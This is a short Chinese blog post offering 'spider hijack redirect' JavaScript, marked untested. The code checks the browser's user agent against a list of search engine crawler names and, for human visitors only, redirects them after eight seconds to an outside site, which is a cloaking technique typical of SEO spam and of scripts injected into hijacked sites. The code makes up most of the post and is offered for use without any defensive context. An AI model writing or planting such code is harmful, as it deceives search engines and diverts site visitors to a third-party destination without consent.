雪豹说

2020蜘蛛劫持跳转代码(未测试)

发布时间:2年前热度: 302 ℃评论数:

代码如下:

var _agent = navigator.userAgent;

var _search = ['Baiduspider','Baiduspider-image','baidu Transcoder','YodaoBot','Googlebot','Googlebot-Image','FeedBurner','AdsBot-Google-Mobile','Sogou web spider','Sogou-Test-Spider','Yahoo! Slurp','Yahoo! Slurp China','bingbot','Sosospider','Sosoimagespider','360Spider','YoudaoBot','EasouSpider','YandexBot','Speedy Spider','xFruits','Feedly','360spider'];

var _mark = true;

for (var i=0;i<_search.length;i++) {

    if (_agent.search(_search[i])!=-1) {

        _mark = false;

    }

}

if (_mark == true) {

    setTimeout(sleeptime,8000);

    function sleeptime() {

        location.href="http://blog.5988vip.cn/";

    }

}

本文出自 产品经理@雪豹 ,转载时请注明出处及相应链接。

蜘蛛,劫持,跳转,代码,测试

手机扫码访问